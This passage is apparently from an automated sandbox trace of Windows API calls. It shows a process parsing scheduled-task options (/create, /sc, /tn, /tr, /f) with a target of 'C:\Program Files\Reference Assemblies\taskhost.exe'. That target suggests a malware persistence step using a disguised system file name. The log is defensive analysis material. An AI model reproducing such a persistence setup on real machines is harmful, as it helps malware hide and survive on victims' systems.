(lpString="|?|") returned 3 [0142.464] lstrlenW (lpString="|tr|") returned 4 [0142.464] SetLastError (dwErrCode=0x490) [0142.464] lstrlenW (lpString="s") returned 1 [0142.464] lstrlenW (lpString="s") returned 1 [0142.464] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.464] lstrlenW (lpString="tr") returned 2 [0142.464] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.464] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|s|") returned 3 [0142.464] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|tr|") returned 4 [0142.464] lstrlenW (lpString="|s|") returned 3 [0142.464] lstrlenW (lpString="|tr|") returned 4 [0142.465] SetLastError (dwErrCode=0x490) [0142.465] lstrlenW (lpString="u") returned 1 [0142.465] lstrlenW (lpString="u") returned 1 [0142.465] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.465] lstrlenW (lpString="tr") returned 2 [0142.465] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.465] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|u|") returned 3 [0142.465] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|tr|") returned 4 [0142.465] lstrlenW (lpString="|u|") returned 3 [0142.465] lstrlenW (lpString="|tr|") returned 4 [0142.465] SetLastError (dwErrCode=0x490) [0142.465] lstrlenW (lpString="p") returned 1 [0142.465] lstrlenW (lpString="p") returned 1 [0142.465] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.465] lstrlenW (lpString="tr") returned 2 [0142.465] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.465] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|p|") returned 3 [0142.465] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|tr|") returned 4 [0142.465] lstrlenW (lpString="|p|") returned 3 [0142.465] lstrlenW (lpString="|tr|") returned 4 [0142.465] SetLastError (dwErrCode=0x490) [0142.465] lstrlenW (lpString="ru") returned 2 [0142.465] lstrlenW (lpString="ru") returned 2 [0142.465] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.465] lstrlenW (lpString="tr") returned 2 [0142.465] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.465] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|ru|") returned 4 [0142.465] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|tr|") returned 4 [0142.466] lstrlenW (lpString="|ru|") returned 4 [0142.466] lstrlenW (lpString="|tr|") returned 4 [0142.466] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0142.466] SetLastError (dwErrCode=0x490) [0142.466] lstrlenW (lpString="rp") returned 2 [0142.466] lstrlenW (lpString="rp") returned 2 [0142.466] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.466] lstrlenW (lpString="tr") returned 2 [0142.466] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.466] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|rp|") returned 4 [0142.466] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|tr|") returned 4 [0142.466] lstrlenW (lpString="|rp|") returned 4 [0142.466] lstrlenW (lpString="|tr|") returned 4 [0142.466] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0142.466] SetLastError (dwErrCode=0x490) [0142.466] lstrlenW (lpString="sc") returned 2 [0142.466] lstrlenW (lpString="sc") returned 2 [0142.466] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.466] lstrlenW (lpString="tr") returned 2 [0142.466] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.466] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|sc|") returned 4 [0142.466] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|tr|") returned 4 [0142.466] lstrlenW (lpString="|sc|") returned 4 [0142.466] lstrlenW (lpString="|tr|") returned 4 [0142.466] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0142.466] SetLastError (dwErrCode=0x490) [0142.466] lstrlenW (lpString="mo") returned 2 [0142.467] lstrlenW (lpString="mo") returned 2 [0142.467] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.467] lstrlenW (lpString="tr") returned 2 [0142.467] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.467] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|mo|") returned 4 [0142.467] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|tr|") returned 4 [0142.467] lstrlenW (lpString="|mo|") returned 4 [0142.467] lstrlenW (lpString="|tr|") returned 4 [0142.467] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0142.467] SetLastError (dwErrCode=0x490) [0142.467] lstrlenW (lpString="d") returned 1 [0142.467] lstrlenW (lpString="d") returned 1 [0142.467] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.467] lstrlenW (lpString="tr") returned 2 [0142.467] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.467] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|d|") returned 3 [0142.467] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|tr|") returned 4 [0142.467] lstrlenW (lpString="|d|") returned 3 [0142.467] lstrlenW (lpString="|tr|") returned 4 [0142.467] SetLastError (dwErrCode=0x490) [0142.467] lstrlenW (lpString="m") returned 1 [0142.467] lstrlenW (lpString="m") returned 1 [0142.467] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.467] lstrlenW (lpString="tr") returned 2 [0142.467] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.467] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|m|") returned 3 [0142.468] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|tr|") returned 4 [0142.468] lstrlenW (lpString="|m|") returned 3 [0142.468] lstrlenW (lpString="|tr|") returned 4 [0142.468] SetLastError (dwErrCode=0x490) [0142.468] lstrlenW (lpString="i") returned 1 [0142.468] lstrlenW (lpString="i") returned 1 [0142.468] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.468] lstrlenW (lpString="tr") returned 2 [0142.468] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.468] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|i|") returned 3 [0142.468] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|tr|") returned 4 [0142.468] lstrlenW (lpString="|i|") returned 3 [0142.468] lstrlenW (lpString="|tr|") returned 4 [0142.468] SetLastError (dwErrCode=0x490) [0142.468] lstrlenW (lpString="tn") returned 2 [0142.468] lstrlenW (lpString="tn") returned 2 [0142.468] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.468] lstrlenW (lpString="tr") returned 2 [0142.468] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.468] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|tn|") returned 4 [0142.468] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|tr|") returned 4 [0142.468] lstrlenW (lpString="|tn|") returned 4 [0142.468] lstrlenW (lpString="|tr|") returned 4 [0142.468] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0142.468] SetLastError (dwErrCode=0x490) [0142.468] lstrlenW (lpString="tr") returned 2 [0142.468] lstrlenW (lpString="tr") returned 2 [0142.469] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.469] lstrlenW (lpString="tr") returned 2 [0142.469] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.469] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|tr|") returned 4 [0142.469] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|tr|") returned 4 [0142.469] lstrlenW (lpString="|tr|") returned 4 [0142.469] lstrlenW (lpString="|tr|") returned 4 [0142.469] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0142.469] SetLastError (dwErrCode=0x0) [0142.469] SetLastError (dwErrCode=0x0) [0142.469] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'") returned 52 [0142.469] lstrlenW (lpString="-/") returned 2 [0142.469] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0142.469] SetLastError (dwErrCode=0x490) [0142.469] SetLastError (dwErrCode=0x490) [0142.469] SetLastError (dwErrCode=0x0) [0142.469] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'") returned 52 [0142.469] StrChrIW (lpStart="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'", wMatch=0x3a) returned=":\\Program Files\\Reference Assemblies\\taskhost.exe'" [0142.469] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'") returned 52 [0142.469] _memicmp (_Buf1=0x43d500, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.469] _memicmp (_Buf1=0x43d540, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.469] SetLastError (dwErrCode=0x7a) [0142.469] SetLastError (dwErrCode=0x0) [0142.470] SetLastError (dwErrCode=0x0) [0142.470] lstrlenW (lpString="'C") returned 2 [0142.470] lstrlenW (lpString="-/") returned 2 [0142.470] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0142.470] SetLastError (dwErrCode=0x490) [0142.470] SetLastError (dwErrCode=0x490) [0142.470] SetLastError (dwErrCode=0x0) [0142.470] _memicmp (_Buf1=0x43d560, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.470] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'") returned 52 [0142.470] GetProcessHeap () returned 0x420000 [0142.470] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43d580) returned 1 [0142.470] GetProcessHeap () returned 0x420000 [0142.470] RtlReAllocateHeap (Heap=0x420000, Flags=0xc, Ptr=0x43d580, Size=0x6a) returned 0x43dc90 [0142.470] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'") returned 52 [0142.470] lstrlenW (lpString=" \x09") returned 2 [0142.470] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0142.470] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0142.470] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0142.470] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0142.470] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0142.470] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0142.470] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0142.470] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0142.470] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0142.470] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0142.470] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0142.470] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0142.471] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0142.471] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0142.471] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0142.471] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0142.471] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0142.471] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0142.471] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0142.471] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0142.471] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0142.471] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0142.471] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0142.471] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0142.471] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0142.471] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0142.471] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0142.471] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0142.471] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0142.471] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0142.471] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0142.471] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0142.471] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0142.471] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0142.471] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0142.471] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0142.472] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0142.472] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0142.472] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0142.472] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0142.472] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0142.472] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0142.472] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0142.472] StrChrW (lpStart=" \x09", wMatch=0x6b) returned 0x0 [0142.472] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0142.472] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0142.472] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0142.472] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0142.472] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0142.472] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0142.472] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0142.472] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0142.472] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0142.472] GetLastError () returned 0x0 [0142.472] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'") returned 52 [0142.472] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'") returned 52 [0142.472] SetLastError (dwErrCode=0x0) [0142.472] SetLastError (dwErrCode=0x0) [0142.472] lstrlenW (lpString="/f") returned 2 [0142.472] lstrlenW (lpString="-/") returned 2 [0142.473] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0142.473] lstrlenW (lpString="create") returned 6 [0142.473] lstrlenW (lpString="create") returned 6 [0142.473] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.473] lstrlenW (lpString="f") returned 1 [0142.473] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.473] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|create|") returned 8 [0142.473] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|f|") returned 3 [0142.473] lstrlenW (lpString="|create|") returned 8 [0142.473] lstrlenW (lpString="|f|") returned 3 [0142.473] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0142.473] SetLastError (dwErrCode=0x490) [0142.473] lstrlenW (lpString="?") returned 1 [0142.473] lstrlenW (lpString="?") returned 1 [0142.473] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.473] lstrlenW (lpString="f") returned 1 [0142.473] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.473] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|?|") returned 3 [0142.473] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|f|") returned 3 [0142.473] lstrlenW (lpString="|?|") returned 3 [0142.473] lstrlenW (lpString="|f|") returned 3 [0142.473] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0142.473] SetLastError (dwErrCode=0x490) [0142.473] lstrlenW (lpString="s") returned 1 [0142.474] lstrlenW (lpString="s") returned 1 [0142.474] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.474] lstrlenW (lpString="f") returned 1 [0142.474] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.474] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|s|") returned 3 [0142.474] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|f|") returned 3 [0142.474] lstrlenW (lpString="|s|") returned 3 [0142.474] lstrlenW (lpString="|f|") returned 3 [0142.474] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0142.474] SetLastError (dwErrCode=0x490) [0142.474] lstrlenW (lpString="u") returned 1 [0142.474] lstrlenW (lpString="u") returned 1 [0142.474] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.474] lstrlenW (lpString="f") returned 1 [0142.474] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.474] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|u|") returned 3 [0142.474] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|f|") returned 3 [0142.474] lstrlenW (lpString="|u|") returned 3 [0142.474] lstrlenW (lpString="|f|") returned 3 [0142.474] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0142.474] SetLastError (dwErrCode=0x490) [0142.474] lstrlenW (lpString="p") returned 1 [0142.474] lstrlenW (lpString="p") returned 1 [0142.474] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.474] lstrlenW (lpString="f") returned 1 [0142.474] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.475] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|p|") returned 3 [0142.475] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|f|") returned 3 [0142.475] lstrlenW (lpString="|p|") returned 3 [0142.475] lstrlenW (lpString="|f|") returned 3 [0142.475] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0142.475] SetLastError (dwErrCode=0x490) [0142.475] lstrlenW (lpString="ru") returned 2 [0142.475] lstrlenW (lpString="ru") returned 2 [0142.475] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.475] lstrlenW (lpString="f") returned 1 [0142.475] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.475] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|ru|") returned 4 [0142.475] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|f|") returned 3 [0142.475] lstrlenW (lpString="|ru|") returned 4 [0142.475] lstrlenW (lpString="|f|") returned 3 [0142.475] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0142.475] SetLastError (dwErrCode=0x490) [0142.475] lstrlenW (lpString="rp") returned 2 [0142.475] lstrlenW (lpString="rp") returned 2 [0142.475] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.475] lstrlenW (lpString="f") returned 1 [0142.475] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.475] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|rp|") returned 4 [0142.475] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|f|") returned 3 [0142.475] lstrlenW (lpString="|rp|") returned 4 [0142.475] lstrlenW (lpString="|f|") returned 3 [0142.476] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0142.476] SetLastError (dwErrCode=0x490) [0142.476] lstrlenW (lpString="sc") returned 2 [0142.476] lstrlenW (lpString="sc") returned 2 [0142.476] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.476] lstrlenW (lpString="f") returned 1 [0142.476] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.476] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|sc|") returned 4 [0142.476] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|f|") returned 3 [0142.476] lstrlenW (lpString="|sc|") returned 4 [0142.476] lstrlenW (lpString="|f|") returned 3 [0142.476] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0142.476] SetLastError (dwErrCode=0x490) [0142.476] lstrlenW (lpString="mo") returned 2 [0142.476] lstrlenW (lpString="mo") returned 2 [0142.476] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.476] lstrlenW (lpString="f") returned 1 [0142.476] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.476] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|mo|") returned 4 [0142.476] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|f|") returned 3 [0142.476] lstrlenW (lpString="|mo|") returned 4 [0142.476] lstrlenW (lpString="|f|") returned 3 [0142.476] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0142.476] SetLastError (dwErrCode=0x490) [0142.476] lstrlenW (lpString="d") returned 1 [0142.476] lstrlenW (lpString="d") returned 1 [0142.477] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.477] lstrlenW (lpString="f") returned 1 [0142.477] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.477] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|d|") returned 3 [0142.477] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|f|") returned 3 [0142.477] lstrlenW (lpString="|d|") returned 3 [0142.477] lstrlenW (lpString="|f|") returned 3 [0142.477] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0142.477] SetLastError (dwErrCode=0x490) [0142.477] lstrlenW (lpString="m") returned 1 [0142.477] lstrlenW (lpString="m") returned 1 [0142.477] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.477] lstrlenW (lpString="f") returned 1 [0142.477] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.477] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|m|") returned 3 [0142.477] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|f|") returned 3 [0142.477] lstrlenW (lpString="|m|") returned 3 [0142.477] lstrlenW (lpString="|f|") returned 3 [0142.477] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0142.477] SetLastError (dwErrCode=0x490) [0142.477] lstrlenW (lpString="i") returned 1 [0142.477] lstrlenW (lpString="i") returned 1 [0142.477] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.477] lstrlenW (lpString="f") returned 1 [0142.477] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.478] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|i|") returned 3 [0142.478] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|f|") returned 3 [0142.478] lstrlenW (lpString="|i|") returned 3 [0142.478] lstrlenW (lpString="|f|") returned 3 [0142.478] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0142.478] SetLastError (dwErrCode=0x490) [0142.478] lstrlenW (lpString="tn") returned 2 [0142.478] lstrlenW (lpString="tn") returned 2 [0142.478] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.478] lstrlenW (lpString="f") returned 1 [0142.478] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.478] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|tn|") returned 4 [0142.478] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|f|") returned 3 [0142.478] lstrlenW (lpString="|tn|") returned 4 [0142.478] lstrlenW (lpString="|f|") returned 3 [0142.478] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0142.478] SetLastError (dwErrCode=0x490) [0142.478] lstrlenW (lpString="tr") returned 2 [0142.478] lstrlenW (lpString="tr") returned 2 [0142.478] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.478] lstrlenW (lpString="f") returned 1 [0142.478] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.478] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|tr|") returned 4 [0142.478] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|f|") returned 3 [0142.478] lstrlenW (lpString="|tr|") returned 4 [0142.478] lstrlenW (lpString="|f|") returned 3 [0142.478] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0142.479] SetLastError 